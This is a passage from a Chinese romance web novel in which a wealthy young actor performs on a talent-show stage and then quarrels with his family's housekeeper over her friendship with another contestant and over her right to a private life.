“你担心什么。”秦天睿乐见其成,他巴不得这两人打起来。 到时候陆宣就丢脸丢到全国人民面前,他还要给陆宣买热搜!黑他个三天三夜的。 他兴奋地搓手:“给我怼他脸上拍,拍到他翻白眼给你一万,拍到黑料给你五万。” 节目组:“……” 哥你要不要稍稍收敛一点呢? 但有一说一,节目组真的一点点错都没有。 这可不是恶意剪辑,这是镜头主角本身就很恶意,送上门的热度不要白不要。 所以说有时候纨绔二世祖也不是没有好处。 那个叫赵迪的心潮澎湃。 太好了,是走黑红路线的,他的镜头有救了! 他积极地问:“老师叫什么名字?” 陆宣上一次自我介绍,还是小学一年级开学第一天站在讲台上,其他时间自然有人会替他说话,或者早就知道他的身份。 好笑,不知道我叫什么名字你这么热情干什么。 有没有边界感。 他有点不太耐烦,刚要开口脑海里忽然想起在车上时乔梧对他说的话。 “会不会好好说话”,“他们都不认识你”。 陆宣:“……” 合着在这儿等着呢。 他这才正眼扫了一眼整个演播厅里的人,每一个人看起来都认真打扮过自己,年纪或大或小,每一个人都在用他曾经没见过的目光看着他。 或好奇或惊讶或害怕。 就是没有过去的谄媚和明显的目的性。 我会好好说话。 陆宣心想,我也会是第一名。 身居高位被他遗忘了很多年老师教过的那些礼仪在这一瞬间突然变得清晰起来。 他站起身来,朝眼前的人伸出手:“陆宣,演员。” 坐在亲友演播厅里的乔梧看到这里,轻轻笑了。 廖廖一直都站在人群后面,别人上前打招呼的时候只有她没去,毕竟她还深刻的记得当初是怎么被坑,怎么被带到陆宣面前的。 人家不一定想要认识她,还很可能会记恨她。 但她没想到,陆宣的视线居然一个个地扫过来,最后还落在她身上,又很平淡的移开,像是在给每一个人打招呼。 廖廖愣了一下,还是轻声说:“陆老师好,我是廖廖。” 陆宣点点头。 他压根就不记得这个人,那天敬酒的男男女女那么多,又长得都没他好看,他为啥要记得,但听到这个名字却有点耳熟。 他皱了皱眉,多看了廖廖一眼:“你……” 廖廖瞬间提起一口气。 “就你加了乔梧微信?” 他当时喝了蜂蜜水,还有点意识,就听到这个人自我介绍还锲而不舍地要加微信了。 这人还说要请乔梧吃饭,她那里还有乔梧落下的衣服。 什么关系还留衣服在人家那里! 陆宣不爽地问:“你跟她很熟?” 廖廖呆住了,没想到他记住的居然是这个。 “不、不熟。”她不好意思的低下头。 因为上次那个老师的事,她最近一直都很忙,为了争取上这个节目的机会也四处奔波,所以还没机会请乔梧吃饭。 陆宣脸色稍霁:“挺好,你好。” 廖廖:“……” 她怎么听出来了一点点对方很不满意自己接近乔梧意思。 要是她回答说跟乔梧很熟,是不是陆宣就会跟她说“你不好”了? 你一个哭包还好意思说我。 想了想,她鼓起勇气说:“但是我很喜欢乔姐姐,有机会一定会请她吃饭的。” 陆宣又看她一眼。 见几面了你就喜欢了。 “可以。”他说,“但没必要,她很忙。” 廖廖很倔强:“我等她不忙。” 陆宣:“啧。” 旁边那些学员看得一头雾水,赵迪好奇地问:“不好意思,请问乔梧是何方神圣?” 廖廖仰着头:“我很尊敬的人。” 赵迪:“听起来很厉害的样子……” 他忽然想起刚才廖廖的话:“是刚才跟陆老师走一起的美女吗?” 陆宣不悦:“请离素人生活远一点。” 有一个廖廖就行了,其他人还凑什么热闹。 这画面给乔梧看笑了。 她倒是没想到会在这里遇到廖廖,不过廖廖是娱乐圈的新人,也是正常。 原剧情里陆宣因为在酒会上喝醉被人摆布,误以为自己怎么了廖廖,后面压根就不记得自己的工作,跟廖廖纠缠不清,非要拿钱包养人家,而“她”不仅不解决,还火上浇油替他砸钱替他关门,但现在应该不会有这个剧情了。 所有学员全部到齐,那边在开始抽签走上舞台去自我介绍以及表演的时候,工作人员也来到乔梧他们这边。 “各位,这边学员们抽签顺序已经出来了。”工作人员说,“一会儿大家按照顺序进入采访室就好,念到名字的学员亲友请来拿一下顺序。” 大部分人的亲友都是叫到谁谁去拿,但只有乔梧和陆宣这一组,工作人员对她印象很深,所以最后剩下她的时候特意送到她面前,多给她一个镜头:“这是陆老师的。” 乔梧接过来看了一眼,温声问:“我好像没听到廖廖的名字。” “廖廖啊。”工作人员挠挠头,“她就是一个人来的,没有亲友,所以备采这部分的流程也没有她。” 乔梧点点头:“谢谢。” 她坐回自己的位置,第一次去回想关于廖廖个人的剧情。 作为一本书狗血文离被更多有钱人欺负过的女主,她身世的确不太好,没有什么亲人,经过游艇事件后她更是被学校里部分人排挤了,也跟那些圈子玩不到一起去。 乔梧忽然想到刚才跟陆宣对上时廖廖那个倔强的眼神。 以及那句“我很尊敬的人”。 尊敬么? 乔梧有些意外,毕竟她什么都没做过,这个头衔过于重了。 “不好意思。”她喊住了即将要离开的工作人员,“请问廖廖是几号?” 她总该做点什么事,才能对得起这两个字。 第36章 第三十六章二更 节目录制正式开始,陆宣抽到6号。 按照录制规则,每个学员表演过一轮后会有导师进行选择分组,在余下的一个月里会在导师的组里进行学习。 节目已经办了好几季,在观众里也有了一定的口碑,加上有大企业固定赞助,所以节目制作人除了在邀请学员这方面会下一点功夫来制造话题,其他方面却从来不搞什么黑幕,结果一向也很公开透明,通过现场观众的投票以及网络上的投票来进行选择每一期的最佳学员。 来这里的导师也都是很有实力的人物,没有任何人会敢有什么异议,也很敢说。 可轮到陆宣时,节目组先在大屏幕上播放了他的个人简介,看到陆宣的名字后几个导师的表情都很精彩。 一共五个导师,有四个都认识陆宣,并不是因为看过陆宣的作品,而是因为过去都在各种应酬酒局或是 晚宴上见过,对他唯一的印象就是酒量很差,没什么智商,一个持钱行凶的纨绔。 总之能不招惹就不招惹。 剩下那一个则是港区影星,所以对内地的事并不是很了解。 这少爷怎么回事,居然来这种综艺,也没收到节目组给的任何台本啊。 那怎么办,一会儿是该骂还是不该骂? 几个导师都默契地望向总导演。 总导演在耳麦里对他们道:“该怎么来就怎么来,他是走正常流程进来的。” 这踏马更恐怖好吧! 要是给人骂急了,那不成节目事故了,虽然是录播,但观众席上也是有人的。 总导演犹豫了一下,说:“他今天脾气好像还可以。” 旁边的秦天睿听到后冷笑一声。 的确,今天的陆宣态度很奇怪。 长这么大,秦天睿就没见过陆宣主动站起身伸手跟人打招呼过。 中邪了吧这人。 他倒是要看看陆宣能装到什么时候。 评委席上的导师们战战兢兢,走上舞台的陆宣却悠闲得像是来到了自家的后花园。 他紧张什么,作为陆家的儿子,总是有各种各样的狗仔都想要窥探他的豪门私生活,而且平时见过的场面大了去了,这种小场面不算什么。 而他一走出来,观众席上就一片哗然。 不管认不认识他的,都惊讶于这个男人的颜值。 “不可能啊,娱乐圈有这号人物我居然不知道?” “可能是刚出道的新人。” “啊,你们不认识陆宣吗?他是陆氏的三少爷,豪门继承人,进娱乐圈纯属玩票的,演技入不了眼。” “长成这样还要什么演技!” “主要他做人也不行啊,仗着有钱老耍大牌,听说不是主角他不接的,估计导师们也不会挑这么个大爷到自己的组里。” “那他不会开场就没有导师要吧?” “那谁知道呢。” 观众席议论纷纷,评委席却安静如鸡。 急得总导演在后台紧急指挥:“你们说句话啊!” 港星姜奇左右看了一眼,不明白为什么同伴们都这么冷静,便主动开口:“陆宣?你的介绍短片里丝毫不用心,全是你的照片,你是来演戏的不是来选美的。” 陆宣:“……?” 他微微眯起了眼。 而姜奇说完后,发现其他几个导师跟向日葵似的齐刷刷扭头过来,目光里充满了尊敬,还有人在桌子底下冲他上下摆手。 嗯? 还不够狠? 姜奇想了想,继续道:“你出道一年半却没什么作品,事实上演技也丝毫不入流,连入门级都达不到,你拍的网剧热度也可以忽略不计。” 导师们就差把他按住了。 姜奇:“?” 不会吧,需要这么狠吗?人家的初舞台欸。 “我觉得差不多了。”他低声说。 坐在他旁边的导师看不下去了:“你说得太多了。” “……” 那你们一直冲我抬什么手! 他紧急找补:“你选择站在这个舞台上是对自己有什么定位吗?” 陆宣凉声道:“我的定位不都被你说完了吗?” 姜奇皱眉:“他是不是在挑衅我?” 导师们纷纷点头,是的没错。 有个导师看不下去了,偷偷写了张纸条递到姜奇面前。 姜奇低头一看,上面写着:“有钱,后台大,脾气差,不受控。” 这给姜奇气笑了,他之所以来这个节目就是因为这里不讲后台,现在跟他讲这些,晚了。 “你好像很不服气?”姜奇说。 好像? 还踏马好像! 老子这样说你试试呢! 秦天睿两眼放光,掏出手机开始录像。 打起来打起来! 台上的陆宣刚要说话,但姜奇根本不想给他发作的机会,冷声道:“那你得拿出你的实力来证明,我们和观众以及跟你来的亲友都会期待你的表现。” 陆宣的一腔怒火腾的就熄灭了:“……” 上一个敢嘲讽他演技差的,是乔梧。 好好说话。 杀千刀的好好说话。 当初也没人告诉他遇到的困难是这种困难! 他深吸一口气,皮笑肉不笑:“我对自己目前的定位就是个花瓶。” 所有人:“???” 秦天睿:“就这?” 你的脾气呢!他是不是气昏头了。 陆宣不是胡说八道,他每天都在公司上表演课,但他再怎么有天赋演技也并不是一天两天就可以练成的,所以来节目之前表演课的老师就跟他说过要找准自己的定位。 他并不是演什么像什么的人,但如果找到了自己的定位,哪怕是三分的演技也能上升到五分。 陆宣扬着眉:“老师觉得我这张脸的实力怎么样?” 这态度着实让姜奇来了几分兴趣,如果要批评陆宣的演技,他能说半个小时不重样,但要说这张脸,那的确没得说。 而且陆宣也不像纸条上说的那样嘛。 他点头:“不错。” “就是这样。”陆宣道,“我今天的表演就是个花瓶。” 这倒是勾起了姜奇的好奇心,他抬抬手,示意他可以开始了。 与此同时,节目组也将亲友所在观察室的画面一道放了出来。 然后大家就发现原本姿态闲散的陆宣神色都变得有几分紧绷。 虽然陆宣知道乔梧会看见,但他并不知道节目组会把画面播放出来,简直就跟他在乔梧面前表演一样。 万一这次,她又说演技太差看不下去怎么办。 会直接走人吗? 这个流程每个学员都会走一遍,导师和观众们也只是例行往那边屏幕看了一眼,随后视线直接就被定住了。 等会儿,这儿怎么还有一个花瓶?镜头是不是切错了! 不过下一瞬整个演播厅除了舞台,其他地方的灯光都按了,包括刚才惊鸿一瞥的女人。 身后的道具已经摆放好,陆宣回头走过去的途中,脑海里一直都在浮现刚才屏幕上闪过去乔梧的脸。 他突然有点紧张了。 听到倒计时的声音,他呼出一口气,在沙发上坐了下来。 倒计时结束,他缓缓拿起旁边放在桌上的眼镜戴起来,又拿起一本书,边看边说话,仿佛他面前是站着一个人的。 他的眼睫往下垂着,视线仿佛落在了书上,所以镜头并不能捕捉到。 只能听到他戴着几分嘲讽意味的语调:“你算什么东西也敢在小爷面前叫嚣,知道老子头顶上是谁么,别说你的命,你全家的命我都能买下来。” 评委席上,几个导师倒吸一口凉气。 这还用演?这不就是他?! 陆宣这次准备的片段他是个民国时期的反派,说完那所有的台词后只需要站起来拿着枪抵住别人的脑袋就好。 所以最后他放下书,那双刚翻过书页的手很随意地拿起了旁边的那把枪,他身体靠在沙发上,双腿交叠,轻轻侧过脑袋,漫不经心地上膛,以一种高高在上的姿态将枪抵住了前方的“人”。 然后问:“要试试么?” 随着一声后期的枪响,他的表演也结束了,所有的灯光都亮了起来。 陆宣放下枪摘下眼镜,第一时间望向侧面的大屏幕。 屏幕里,那双眼睛好像一直都在看着他,在他看过去的那一秒,她抬起手轻轻拍了拍,虽然没听到声音,却看得见她在鼓掌。 她没中途走掉。 陆宣嘴角不受控制地扬了扬。 评委席和观众席上也陆陆续续的响起了掌声。 姜奇直接将原本其他导师写给他的那张纸条扔掉了,不用别人提醒就拿起了话筒:“你的确改变了我对你的看法,事实证明你对自己的角色定位很准确,虽然演技的确欠缺,但你很好的用技巧弥补了。” 他没有看镜头,所以说台词的时候那些眼神戏也被忽略。 等他看向镜头时,他的脸和这种反派人设又给他的表演加了分,所以大家的确能被他吸引。 可能是刚才被骂得太一文不值了,所以现在听到肯定以后陆宣居然有了种奇怪的成就感。 “谢谢。” 另外有个导师忍不住问:“你现在的演技明显比介绍短片里的进步了,为什么还要用以前的片段?” 别人都是用自己最亮眼的地方来做短片,他倒好,什么不行用什么,除了那张脸。 “哦。”陆宣懒声道,“这是另一个技巧,这样才能显得我进步。” 这是余修告诉他的方法,一定要想办法弱化掉他演技上的不足,除了老师说过的利用合适的角色和外貌优势,还有这种前后的冲突。 训练营本身就是一个来学习的过程,他有进步才能让导师看到他的可塑性。 其他导师都很意外。 陆宣并不是一个会为了热度装模做样的人,否则这一年半他早红了。 但他今天的表现属实让人眼前一亮,如果他不是陆宣,他们的确会考虑他进自己的组。 可他是陆宣啊……几位导师都很犹豫。 就在这时,姜奇拿起话筒:“场上不缺演技比你好的人,但我觉得对自己有清晰的定位也很重要,说明你的确为自己花了时间,也有明确的目的,所以我很愿意邀请你来我的组。” 见姜奇这么干脆,其他几个导师心里一惊,可还没等他们犹豫好,台上的陆宣就已经很干脆的答应了:“好啊。” 陆宣的想法很简单,只要有人选就行。 这样他就有机会继续走下去证明自己了。 这时主持人cue了一下流程,问坐在观察室里的乔梧:“那我们来看看陆宣你的亲友觉得你的表现怎么样吧?” 来了来了! 那个突然出现的大美人! 全场的注意力都锁在大屏幕上,陆宣的心也微微提了起来。 过了几秒,画面的人轻轻笑了:“陆宣,你在发光。” 陆宣压着自己的嘴角,轻哼:“我是萤火虫吗就发光。” “是啊。”乔梧说,“你今天真的很帅。” 演技上她没有什么发言权,陆宣演技进步这些是很正常的事,导师已经说了。 但乔梧看到的是他开始改变自己,会跟人打招呼,会忍耐别人对他不好的评价,那他就已经很棒了。 陆宣嘴角终于压不住了。 他想,结束以后他下个月的零用钱,他要二十万! 解冻银行卡?什么时候的事,他不知道。 台上的人在互动,下一个选手则是在准备。 廖廖望着显示器上互动的两个人,轻轻抿了下唇。 “廖廖。”工作人员走到她身边,“有个事跟你说一下。” 廖廖:“嗯?” “你是选手里面比较特殊的,所以待会儿你上场没有跟亲友互动的环节,这其实是你的一个机会。”工作人员由衷道,“但是现在多了一个情况,有个人说她想作为亲友看你的表演,所以现在选择权在你手里。” 廖廖一愣。 亲友? “谁?” “乔梧。” 廖廖猛然抬头看向显示器,上面正在跟陆宣说话的人浅笑嫣然,满心满目都是他。 自从加上乔梧联系方式后两人再也没有联系过,所以她原本以为对方早把自己忘了。 可是她…“她怎么知道我没有亲友?” “刚才去那边的演播厅发号码,她没听见你的名字就问了一下,但她也说看你的意愿。” 作为所有学员里唯一没有亲友的人,后期观众们很可能会给廖廖打上一波同情分,这份特殊对她有一定的好处,对于新人来说这份曝光来之不易,所以工作人员也是在诚心地给她意见。 廖廖也明白这个道理。 她的确把这个当做自己一个跳板,但现在听到乔梧主动要做她的亲友,她却动摇了。 乔梧在关注她。 如果她有选择,她怎么会用这个做自己的跳板呢,同情分能挣来关注度,却没有办法挣来认可。 不要把幸存者偏差用在自己身上,侥幸得来的东西换来的只有不确定。 这是乔梧告诉她的道理。 她从很久以前,就希望能在乔梧的视线中心占有一席之地,她也希望有人可以认可自己,见证她往前走的路途。 她毫不犹豫地说:“我要她。” 工作人员纳闷。 这乔梧长得的确好看,但是有那么大的魅力吗?怎么廖廖和陆宣看起来都为她神魂颠倒的。 “好的,那我这边去说一下,你准备上台吧。” 廖廖搓了搓自己的脸,比之前更加紧张了。 但一想到在屏幕背后,还有个人在看着她,比紧张更多的却是忐忑。 她是一个刚出道的新人,同样也没有什么作品,但作为表演系的学生,演的片段也是精挑细选过的,花了十二分的认真。 表演结束后,她认真听完了导师们褒贬不一的评价,最终期待地看向了屏幕。 屏幕上再次出现刚才那张脸,观众席都沸腾了。 刚才一闪而过还以为是节目组的失误,怎么看起来好像不是失误? 导师们忍不住问:“是不是哪里弄错了?这位女士不是陆宣的亲友吗?” 没等乔梧回答,廖廖忙道:“也是我的!” 才回到演播室的陆宣听到后腾一下又站起来。 “诶诶诶陆老师!”其他学员吓了一跳,“你怎么了?” “什么她的!”陆宣今晚一忍再忍,现在终于忍不了了,恨不得冲上台去把那个什么鸟抓下来! “怎么就是她的了!那是我的!我的!”他盯着屏幕上的人气急败坏地说,“我花了全部积蓄才把人哄来四天!” 五万块钱不是钱吗! 而舞台上的人还不知道后台乱成什么样了,廖廖双眼发光地看着乔梧。 乔梧也的确认认真真看完了廖廖的表演,也很肯定她是一个很有天赋的演员。 “你比我想象中还要优秀。”乔梧温声说,“也很勇敢努力赤诚。” 廖廖眼里隐隐闪烁:“乔姐姐,谢谢你可以看我表演,见证我的启程,我一直都希望能让你看到我的进步,看到我变得更强大。” 乔梧认真地看着她:“我相信你会成为你想成为的自己。” 廖廖激动得紧紧捏住拳头,朝着乔梧的方向鞠了一个躬:“谢谢乔姐姐!我会努力的,那等我结束了可以请你吃饭吗?” 乔梧失笑:“我请你吧。” 屏幕外,陆宣也紧紧捏住了拳头。 “陆老师,您没事吧?” 陆宣咬牙切齿,肩膀轻轻颤抖:“她都没对我说过这么多赞美的词。” 还要请那个什么鸟吃饭。 很可能用的还是他的五万块。 乔梧都没请他吃过饭。 陆宣越想越气。 其他人一脸懵逼,这有什么好争的。 你都是会发光的萤火虫了还不够吗? 不是,你气得眼睛都红了哥。 总导演被陆宣突然的发作吓了一跳:“快快快,看看怎么回事,别打起来了!” 秦天睿守了大半天,终于守到陆宣爆发,握着手机就要去现场看直播:“看我不买水军黑死他!” 结果刚走了两步就被一只手给按住了,手里的手机也被抽走。 “哪个不长眼……”他愤怒扭头,一看来人又蔫了,“哥?!你怎么在这儿?” 秦敛把他的手机没收:“保密协议被你吃了?谁让你带手机的?” 节目组的所有人:不敢说话。 “我没惹事,我只是看着!”秦天睿狡辩。 “你惹试试。” 秦敛收到消息正好开完会,就顺路过来了,幸好这会儿还没闹出什么事儿来。 他看向显示器,心中了然:原来陆宣说得工作是这个。 那乔管家也是因为这个才过来的了。 陆家的管家,挺全能啊,还管这个。 但按照他对陆宣的印象,陆宣绝对不可能被一个管家压着,不然以前的老管家早就把他们管好了。 别的不说,昨天晚宴他可是看的清清楚楚,乔梧在的地方,陆宣和陆应池都在。 什么时候陆家的几兄弟能这么和谐地出现在同一个画面里了? 还都是出现在乔梧身边。 秦敛接触文娱行业,上一次的慈善酒会虽然没去,但也听说陆宣那晚喝多了,身边有个漂亮助力挺厉害,不仅给陆宣管得死死的,愣是把平时不怀好意的人都给吓退了。 而且他也曾听说陆应池在零环线跟几个不学无术的富二代闹翻,还被 一个女人带走了,陆应池最近挺老实。 秦敛望着显示器上的乔梧以及暴躁的陆宣,忽然有些好奇。 他被陆尽之拉黑了,但秦天睿没有。 所以秦敛拿起弟弟的手机,拨通了陆尽之的电话。 不等对面开口他先发制人。 “我是秦敛。”他很真诚地请教,“我很好奇,你家管家哪里请来的?” 陆尽之:“怎么?” 秦敛:“我也想要一个。” 另一头安静几秒,随即送给他干净的两个字:“别想。” 电话被挂断了。 秦敛:…… 又踩到这公主的尾巴了?! 第37章 第三十七章喝杯咖啡 陆尽之有时候怀疑自己的联系方式是不是太过容易让别人拿到了,怎么什么奇怪的人都可以给他打电话。 在哪找的,他这是家生的。 还有,秦敛怎么会跟乔梧扯上了关系? 她这一趟出差的生活看起来很丰富。 十岁之前的乔梧生活基本上只有学校和陆家,但二十二岁的乔梧生活范围却远远超过了从前,社交也是。 他忽然发现,自己对于现在的乔梧,认知少之又少。 陆尽之看了一眼时间。 这个点还不足以报平安。 另一边的节目现场,学员们的亲友录制提前结束。 乔梧没有急着回酒店,而是在外面的咖啡店等着陆宣下班。 因为节目组有保密协议,所以录制期间她都没有看手机,这会儿才腾出一点时间处理工作上的内容。 置顶有一条新的消息。 上次因为忽略了以前“她”给陆尽之发的那些乱七八糟的消息,导致在机场外被陆尽之灵魂发问,她深刻的吸取了教训,把陆家每一个人都置顶了,避免又错过什么关键信息。 陆尽之:我需要你的真实简历细则。 简历? 乔梧没想太多,毕竟她现在也算是在陆尽之的手底下做事,老板要简历太正常了。 但真实简历是什么意思? 乔梧有点为难,教育经历倒是简单,只是她在十二年内的经验全程空白,如果拿出“她”过去做的那些事写上,那不出一分钟就会收到陆尽之发给她的解聘书。 而且陆尽之要的还是细则。 想了想,她还是选择诚实一点,回复:“在这之前我没有任何工作经历,所以没什么细则。” 陆尽之:“职业规划。” 乔梧恍然,这的确需要。 “一会儿发给你。” 陆尽之:“除此之外,周报改成日报。” 日报? 这倒不是什么苛刻的要求,但乔梧记得当初她给陆尽之发了很久的周报,可他都是已读不回,或者读都没读,这又是在弄哪一出。 “好,每晚会定时发给你。” 她在咖啡店坐了没多久节目录制就结束了,她收到消息才走出去就看到戴着墨镜的陆宣正在四周扫射,目光锁定她的方向后就沉着脸大步走了过来。 怎么了这是,录制的时候不是好好的么? “你跟那个鸟是怎么回事?”陆宣上来就质问,“为什么要看她表演?” 乔梧:“她算是我的朋友。” “朋友?”前一天还在因为这个词开心了好久的陆宣瞬间火冒三丈,语调都拔高了几个度,“你有多少个朋友,加个微信就是朋友了吗?” 乔梧被他的态度弄得有些莫名,也不是很喜欢他这种质问的态度,她脸上笑意稍淡:“陆宣,这是我的私事,我也有交朋友的权力,这不该是你对我生气的理由。” 见她笑意不在,陆宣心里堵着一口气撒不出来,他冷声道:“你是来陪我的,我花了钱的。” “……” 乔梧无奈:“你那五万块钱连这几天的酒店房钱都不够,你真以为我是为了钱来陪你出差的吗?” “那不然?” “我说了,你是我的朋友。”乔梧耐着性子说,“出于友情我来陪你,那廖廖也是,我当然也能陪她。” 陆宣听不进去一点,指着演播厅的位置,嗤声道:“那么多人,每个人都在看着,我的朋友出现在别人的镜头里!你到底有没有搞清楚你是我叫来的人,如果任何一个人都可以,那我宁可你不要来!” “五万怎么了,五万很廉价吗?那是我所有的钱!你还说这是普通人家很久的花销!” 陆宣紧紧捏住她的肩膀:“乔梧,你到底把我当什么了。” 说着是他的员工,可一点都不把他放在心上放在眼里; 说着是他的金主,可对任何人都要比他更有耐心更好说话。 他只是问一句,现在她居然还要跟他冷脸! 乔梧侧过头看了一眼肩膀上的大手,眉心轻轻皱了皱,可这次却没有再吭声。 陆宣等了好几秒,没听到她的解释,顺着她的视线看到自己的手,他动作一僵,立刻把手收了回去,怒意也因为这个插曲滞了许多。 他的指尖轻轻蜷着,思维有些凝固。 明明她看起来那么无所不能,但肩膀却比他想象中还要薄还要瘦。 皱眉了,不会捏疼了吧? 他又不是故意的,他只是气不过。 “你……” “现在能好好说话了吗?”乔梧问。 陆宣:“什么?” “如果能好好说话,我们再沟通。”乔梧语气很平静,“不能的话,你先冷静,我们晚点再说。” “我一直有在跟你好好说话!”陆宣气道。 声音大一点就是不好好说话了吗! 乔梧已经从他的只言片语中知道他为什么会那么生气了,她叹了一口气:“你跟她不一样。” “哪里不一样?” “我没跟她从小一起长大,夸她是因为她本身就很优秀。”乔梧抬起头,“夸你才是偏向。” 什么意思。 陆宣脑子拐了个弯:“你是在说我本身不优秀?” “……” 跟这个小学生实在是没有办法继续沟通了,乔梧耐心耗尽,面无表情:“你要这么想我也没办法。” “你怎么没办法,你有办法!” 老子就是要你哄哄我,结果你上来就跟老子生气黑脸! “还走不走?”乔梧转过身,“不走的话,我不知道会不会有人蹲在附近拍你。” : 陆宣身体一僵,却很老实地跟在她身后离开了。 在两人的背影消失后,不远处的两人也陆续上了车。 秦天睿问:“哥,我真没对他做什么。” 顶多拍了点黑料,但这不是还没来得及发出去么。 “你敢。” “那你还看他干什么?” 秦敛不想跟小脑没发育完的人沟通,他一直在想刚才那个画面。 原本他给陆尽之打电话只是临时起意,有几分真心在,但并不多,毕竟一个管家而已,只要花的钱足够多,一定能找到合适的。 可刚才那一幕却让他临时改了主意,陆宣并不比他家这个弟弟好管到哪里去,一个眼神简 单几句话就能让陆宣收起满身尖锐的人,陆江都做不到,那个管家做到了。 他现在对这个管家很感兴趣。 如果也能管管他家这几个就好了。 就是不知道多少钱能挖。 啧,陆尽之看起来对她挺满意的。 但陆尽之那个人一向看重利益,只要他花的钱超过了陆尽之的范围,那陆尽之应该就会放手了。 另一边,上了车后的陆宣整个人都紧紧贴着窗户。 “陆宣。” 陆宣声音冷硬:“干什么?” 他余光一闪,下意识扭头时看到乔梧朝他俯身过来,他还没反应过来,脸上的墨镜就被摘下去了。 看到墨镜下的那双眼睛,乔梧无奈又想笑,果不其然。 “哭什么?” “胡说八道,我没哭。”陆宣一把将墨镜抢过来戴上,抬着下巴,“今天化妆师眼妆没画好,眼睛不舒服。” “嗯,你说是就是。” 乔梧顺着他,刚才因为他的质问生的气也消了不少。 她知道陆宣从小占有欲就挺强,只是被无情镇压了,但没想到长大后还是这么拎不清。 如果是对小孩子,乔梧可能不会过于在意,但陆宣已经23岁了。 她不希望陆宣依旧用小时候的思维来对待任何一件事情。 或许是因为她相隔十二年回来,依旧用十二年前的方式在对待他,所以让他没有转过弯了,她已经不是过去的小乔梧了。 “陆宣。”乔梧坐直身体,但目光却依旧看着他,“我有话跟你说。” “我有耳朵。” 乔梧也没逼着他,而是静静地说:“我今年22岁了。” 陆宣没听明白。 “脱离掉我们朋友的身份,就像过去说的一样,我现在是在陆家工作的一个员工,如果按照普通的工作流程,除了上班时间,其余时间我的私生活都跟老板无关,下班后我会回到自己的家,会有自己的朋友和私人生活,这些你们是不可以干涉的,明白吗?” 不想明白,但说得太细了不得不明白。 他没说话。 “我不是你的玩具你的私人物品。”乔梧知道他听见了,又继续道,“你也不能再把我偷偷塞进书包带去一起上学了。” 直到车停在酒店停车场,陆宣还是一句话都没说。 他跟在乔梧身后走进她的房间,直直朝着客房而去,但是没关门。 乔梧看着他在收拾昨晚落在这儿的行李。 少爷从来不会收拾,瓶瓶罐罐全都一股脑的塞进行李箱,衣服也折得乱七八糟,但他似乎没觉得哪里不对,动作干净利落,只用了五分钟就结束了所有的整理。 然后拖着大行李箱走了出来,他越过乔梧朝外面走去。 乔梧并没有追上。 可颀长的身影却在房间门口停住了,他的手搭在门把手上,迟迟没有开门。 乔梧安静地等着。 等到最后,陆宣才哑声问:“陪我去公司,给我卡,跟我一起来这里,都是因为工作?” 乔梧回答:“不是。” 陆宣在那站了几秒:“我回去了。” 乔梧依旧没有追上去,她觉得陆宣需要时间。 事实上陆宣的确需要时间,他回到房间后行李箱就摆在门口根本没有动过,他灯也没开就把自己摔进沙发里,仰头看着昏暗的天花板。 乔梧的话一直在他的脑海里转啊转,转得他脑子都要宕机了。 他根本不知道自己后来为什么要走进房间去收拾东西,那一刻心底只有一个声音是远离她,远离她你就清醒了。 可走到房间门口的那一瞬间,他的脚步如同灌了铅。 想要留在这里的冲动和理智一直在脑海里冲撞,他最后也不知道从哪拽出来一句最显眼的问了出来。 她说不是。 所以他才可以放下心走出来。 陆宣也不知道事情为什么会发展成这样,他明明是不在意乔梧的,那他在意的是什么? 她说他不能再企图把她塞进书包里偷偷带走了。 陆宣找不到这些年有关于两个人的记忆,只能疯狂去回想小时候的事情。 所以他习惯性的把她归为自己的所有物,企图让她一直都待在自己身边,让她只跟自己玩。 可乔梧22岁了,怎么一瞬间就22岁了呢。 他该怎么去面对长大后的乔梧?这个人怎么能变来变去。 如果在她回国见第一面的时候,她依然是以前那样,就算她真的跟陆柠走或是跟任何一个人走,他都会像最初的计划那样,毫不犹豫地丢弃她。 可是她没有。 所以他只能从自己的混乱的认知里找到本能,本能就是拴紧她。 可现在让他换一个思路,换一个视角去面对22岁的乔梧,他毫无头绪。 她说得对,只是朋友长大了而已。 长大后的朋友正好在自己家上班,也会因为友情对他好,但也仅此而已,不能去过于干涉她的私生活。 陆宣理清楚了,可他还是不舒服。 最后怎么在沙发上睡过去的都不知道,只知道一整晚都在梦里来来回回,一会儿梦到小时候,一会儿又梦到现在。 还梦到乔梧说,不要继续跟他一起玩了。 他一下子惊醒。 有人在按门铃。 陆宣拖着疲惫的精神走去开门,看见门口穿戴整齐神采奕奕的人,心里十分不平衡。 “把我弄成这样,自己倒是睡得香。” 跟在乔梧身后的跟拍:“???” 等会儿,这是他们能听的吗? 只有乔梧知道陆宣在说什么,不过看到他的态度,估计也是想通了。 她走进去,看到依旧摆在房间门口的行李箱,又看到他身上还穿着昨天的衣服:“摄像机在外面,你就要这样入镜?” 陆宣立刻道:“不许进来!” 他飞速打开行李箱,发现里面所有的东西都皱皱巴巴的,暗暗骂了一声。 乔梧蹲下来:“先去洗澡吧,我给你熨一下。” 她的头发随着动作擦过他的侧脸,陆宣心神微微一震,他随便在行李箱里拿出一件衣服,看到乔梧要伸手去碰自己的行李箱,立刻一把握住她的手臂,把她提了起来。 乔梧:“?” 陆宣闷着头:“我给你找。” 他从行李箱里扯出两件衣服递给乔梧,然后又严丝合缝地把自己的行李箱给合上了。 前两天还在试图扯下衣服露出胸肌展现自己价值的人,现在终于意识到眼前的人是个22岁与他同龄的女性。 等他洗完澡出来,乔梧正站在外面给他熨衣服,头轻轻垂着,头发顺着她的动作轻轻晃动。 陆宣第一次看长大后的人的视角去看这个人,发现她真的跟过去不一样了,一举一动都比以前更加沉稳,脸上也褪去了稚气完全长开。 难怪每一次那些人看到她都会发出惊叹,原来那个洋娃娃长大后是这样的。 很怪,乔梧说他在发光。 可他却觉得每次见到乔梧的时候,明明是她在发光才对。 视线里的人忽然抬起头,看了他一眼后又垂下视线:“早餐送来了,跟拍摄像还在外面,准备好了就让人进来。” 这里不是普通房间,住的也不是普通人,所以跟拍很识趣的没有跟进来。 陆宣嗯了一声去打开房门:“进来吧。” 然后对乔梧说:“先吃饭。” “我吃过了。”乔梧将衣服挂好,“等会儿把你送走我就该回去了。” 亲友向的录制已经告一段落,留在这里也是节目组想要多拍一点素材方便后期的剪辑。 在餐桌前坐下的陆宣动作顿了顿,味同嚼蜡地吃着精致的早餐,直到乔梧忙完后在他面前坐下。 一张卡放在了他面前,是那五万块。 陆宣抬头。 “加油啊。”乔梧笑着说,“等你回来。” 那笑容实在过于晃眼。 哪怕对方已经长大了,依旧逃离不开小时候的影子,因为她以前也总是这么笑着看他。 知道他没有办法把她塞进书包,也只是笑着说:“你的书包太小啦,我在家里等你回来好不好?” 在这一刻陆宣心里 